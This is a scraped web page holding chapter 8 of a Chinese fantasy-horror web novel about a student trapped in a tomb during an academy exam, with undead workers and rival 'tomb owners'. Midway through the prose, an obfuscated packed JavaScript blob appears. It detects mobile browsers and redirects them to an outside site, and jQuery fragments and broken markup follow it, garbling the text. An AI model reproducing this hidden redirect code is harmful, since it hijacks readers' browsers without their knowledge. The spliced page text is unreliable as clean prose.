8. 第八章

作品:《不要在污染物学院网恋

    喻连枝不清楚蝌蚪的进食方式,他往回奔跑,活师老祖被卡在洞道内,只要跑到他的尾部位置,就能保命。


    世界上没有人能啃食自己的屁股!


    他跑回开头位置,颓丧地坐在一块石头上,拿出手机。


    活师老祖无能狂怒。


    手机竟然没有进水,喻连枝尝试向外发出讯息,可惜这里没有信号,连报警电话都拨不出去。


    他一遍遍地翻微信记录,眼眶湿润,给陈女士和喻先生发了消息:“老妈老爸,永别了,如果有转世,换我来做你们的爸妈。”


    信息没有发出去。


    他自暴自弃,随便点开了一个,点到了【灾厄】。


    这几天太忙了,没发新消息,【灾厄】也没回。


    喻连枝想了想,用衣袖擦去眼泪:“好兄弟,永别了,我走了。”


    咻——发出去了。


    他连忙切回爸妈的聊天框,信息前方还在转圈圈,这是怎么回事?


    【灾厄】:去哪?


    喻连枝喜出望外,道:“报警!快报告学校!活师园紧急遇难!”


    【灾厄】:细说。


    还细说?


    【帘子】:情况紧急,有生命危险,出去再说!


    【灾厄】:已阅。


    他好像觉得自己在玩梗,喻连枝收起手机,抱着腿,忽然有了一个更恐怖的想法——刚才的信息会不会只是幻觉!


    河里密密麻麻的“古钱币”流淌而过,乍一看真像条金河。活师老祖源源不断地产卵,给这条河注入新的财富……等等。


    这些“古钱币”通往哪里?


    所以一定有其他的路!


    与其坐以待毙,不如主动出击,横竖都是贱命一条。他深呼吸,憋着气下水了。


    蛙卵在脸上碰撞,调皮地剐蹭眼球。


    喻连枝睁着眼睛,感受水的流动。


    找到了。


    石缝间暗藏洞口。


    拨开水草,洞口对于一个男性来说有点狭窄,他把肺里的空气排出,竭力挤压内脏,才把头和躯干挤了过去。


    还好水不深,把头扬起就能露出水面,呼吸到空气。


    “糟了。”


    喻连枝使劲摁住两边的石头借力,自己还是纹丝不动,臀部死死卡住。


    男子汉,大辟谷,腿长腰细男模组。


    翘屁嫩男.喻连枝眼泪哗啦啦,两边的胯骨也被磨破了,水里弥漫血腥味。


    此时,几具尸体颤颤巍巍地走来,戴着安全帽,像是工人。


    其中一个工人慢慢转过头,面孔毫无血色,黏液混杂着红红黄黄的组织液覆盖在脸上。


    喻连枝如今心理承受阈值不断拔高,恶心了一瞬,随即破罐子破摔。


    “兄弟们,拉我一把。”


    工人问:“你是谁?”


    他原以为这些粽子没有意识,没想到这么配合。


    “我是新来的。”


    工人呆滞地盯着他,像在思考,“你不是,你是盗墓贼。”


    “我真是,铁民,身份做好。”


    工人不理会他,转身开始做工,修筑墓室的墙壁。


    喻连枝大言不惭,“好吧,骗你的。反正我也快死了,交个朋友,你是哪里人?”


    工人站起来:“我是边际省戳子县人。”


    边际省……离南曲省有十万八千里,是个贫困地区。


    “撒拉哈!”喻连枝垂眸,疯狂回忆,“的斯卡哈嘛嘛呢啦!”


    翻译过来就是:我的朋友,愿神灵保佑!


    他之所以会说边际省的方言,是因为那里是喻先生的工作地,以前寒暑假会坐飞机去玩。


    工人叽里呱啦回了一句,喻连枝没听懂,只好频频点头说“撒拉哈撒拉哈”。


    工人把他从洞里拉出来,说:“老乡见老乡,两眼泪汪汪!”


    喻连枝确实泪汪汪,摸着自己的屁股,感觉肉都被剜去一大块。


    工人说:“你跟着我们干吧,修墓,一天八十。”


    “压榨劳动力啊,活师老祖真不是人。”


    工人把砖头放到他手上。


    喻连枝急中生智,“我刚才和墓主人谈了,他需要我们出去运输物资,一天一百。”


    “去哪?”


    “去墓外面。”


    “好啊!”工人显得很开心,脸上融化的皮肉簌簌下落。


    几个“哥俩好”并排走出墓室,迎面撞上一只眼熟的蝌蚪精。


    它像壁虎一样吸在墙壁上,倾斜着俯视他们。


    就是之前让喻连枝刻画像石然后破防变异的那只。


    蝌蚪精阴测测地说:“找到你了……”


    喻连枝后退两步,工人粽子把他拉回来排排站,齐声恭敬道:“墓主人。”


    ?


    你是墓主人,那活师老祖是谁?


    —


    “都是你的错!”


    “我?!”


    史钟举起手投降,表示无辜,“班长,我发誓没有撞你!”


    【兔儿神】污染领域展开。


    涂乐意顶着一颗恐怖的兔头,神色扭曲,“那我们为什么跟丢了?”


    甬道里有分叉,他们靠得太近,主要是史钟更重更圆润,下落时狠狠撞了他一下。


    两人就像偏离轨道的小球,咕噜噜掉到了另一个墓室。


    整个墓室爬满了近一米长的蝌蚪,这些东西粘在地面上、墙壁上、墓顶上,几乎没有能落脚的位置。


    正找不到喻连枝的涂乐意气急败坏,直接把这些伴生物全吞了。


    史钟回忆了一番,好像确实感觉踹到了什么,脸色猛得红了。


    “抱歉,班长。”


    他说着,Duang得一声变成了一坨巨型史莱姆,怯怯地捏自己解压。


    涂乐意脸色阴沉,“算了,把伴生物放出去找。”


    “嗯。”史钟分裂出小块的史莱姆黏液球,这些蹦跳的果冻分散开,得益于他们都凝胶质地,可以轻松从狭小的缝隙钻过。


    涂乐意指挥着小肉兔离开,道:“前几年,直接吞噬伴生物、甚至污染物本身就能得分,在考试中极易形成混乱争抢的局面,但这一次,吞再多伴生物很可能也是零分。”


    史钟偷吃蝌蚪的嘴停止咀嚼。


    涂乐意:“现在教材更新了,不再崇尚暴力解决的方式,强调‘收容’。”


    “收容?”


    “就是找到污染物主体,进行沟通,判断他是否有人性。尚有人性的污染物会被学院录取,失去人性的污染物会被丢去禁闭室分解,处于中间值则会关在园区里观察,活师就处于中间值,所以安置在活师园。”


    史钟点点头,“我知道这些。”


    涂乐意诧异地看了他一眼,这小胖子看着呆呆傻傻,消息意外的灵通。


    难不成院里有人?


    “你发现了吗?连理枝用的就是最科学的‘收容’方式,他故意将自己放在普通人的位置寻找线索。”


    “是啊,我认他做大哥了。”


    涂乐意眯起眼睛感叹,“恐怖如斯,他到底藏着什么秘密?”


    时间已过去三个小时,距离考试结束还有十九个小时。


    两人百无聊赖地坐在棺材板上。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622961|156215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    【活师】的意识混乱,整个污染领域错综复杂,许多地方如同梦境般荒诞。


    “还是没找到。”涂乐意幽幽叹气,“又碰上死胡同了。”


    “我也没找到。”


    “小涂班长,原来你在这里。”墓室门口出现一个身影。


    涂乐意侧头看,是【鹰隼人】,就是在竞选那天被自己蛊惑,然后gay了两天的蠢货。


    【鹰隼人】原名周瑛,脖子上顶着一颗鹰头,背后有一对黑羽翅膀,嘴利如弯钩。


    他步步逼近,绷紧咬肌,“我找你找的好辛苦啊……”


    涂乐意骤然抬头,眼眶里血泪汩汩流淌。


    周瑛早有准备,闭上眼睛,“想阴我?怎么,被老子追了两天,还爽不够?”


    涂乐意不愿纠缠,和史钟打手势,示意换地方。


    走了两步,突然被人扑倒在地上,眼睛挨了一拳头。


    周瑛紧闭双眼,五指上沾着血液,另一只手掐住涂乐意的脖子。


    “我可不是会被你随意蛊惑的人,你必须对自己的行为付出代价。”


    “蠢货。”


    涂乐意翻身而上,拳头如雨点落在对方脸上。


    两人扭打成一团,难舍难分。


    史钟在一旁跳脚,“你们不要再打啦!你们不要再打啦!”


    —


    “你们有没有听到什么声音?”喻连枝问。


    工人粽子说:“我耳朵烂了。”


    他抓了抓,顺手把腐烂的耳朵拽掉了。


    “yue——”喻连枝一时不知道是捂嘴还是捂眼,“下回麻烦提前说一声。”


    “他不是墓主!我才是!”


    另一个声音姗姗来迟,郁连枝扭头,只看见一坨怒气冲冲的烂肉。


    这玩意儿已经没了人形,身上的肉是人肉和活师的结合,只看一眼就令人作呕。


    他的眼珠淌在地面上,恶狠狠盯着蝌蚪精,“你竟敢冒充伟大的墓主人?!我才是!我永远是!!你这个上不得台面的盗墓贼,我要杀了你!!!”


    活师老祖、蝌蚪精、一坨烂肉都自称为墓主。


    嚯,玩三国杀啊。


    蝌蚪精尾巴左右摇摆,道:“我有画册,可以证明我的身份。”


    一坨烂肉冷笑,它的嘴巴在眼睛上面,反问,“哦?画册在哪里呢?”


    喻连枝不着痕迹地摸了摸裤兜。


    里面的画册因为湿水挤压成了一团。


    “在盗墓贼手上。”蝌蚪精看着他,“小偷!盗墓贼!画册被你偷走了!”


    喻连枝往后一撤,头摇得像拨浪鼓,“我不是我没有我不知道。”


    “就是你!把东西还给我!”


    喻连枝吓得躲在工人后面,还在嘴硬,“自己拿不出证据就污蔑人!我还说我是墓主呢。”


    “找死!”


    蝌蚪精扭曲着庞大的身躯爬向他,半路上被袭击了。


    只见一坨烂肉吼叫着朝着蝌蚪精飞扑过去,两个怪物扭打在一块。


    具体内容喻连枝没敢看,总之就是东一块西一块,看一眼都能把隔夜饭吐出来,绝对的精神污染。


    他紧紧闭着眼睛,心里默背《将进酒》、《木兰辞》、《阿房宫赋》。


    还好才过了一个暑假,记忆犹在。


    等他背到“覆压三百余里,隔离天日”时,墓室里安静下来。


    蝌蚪精战败,它抽搐着,身体里黑色脓液流出。


    几秒钟后彻底不动了,死后坍缩成了无数颗聚成一团的蛙卵。


    “它还真是……”喻连枝感叹道,“越活越年轻。”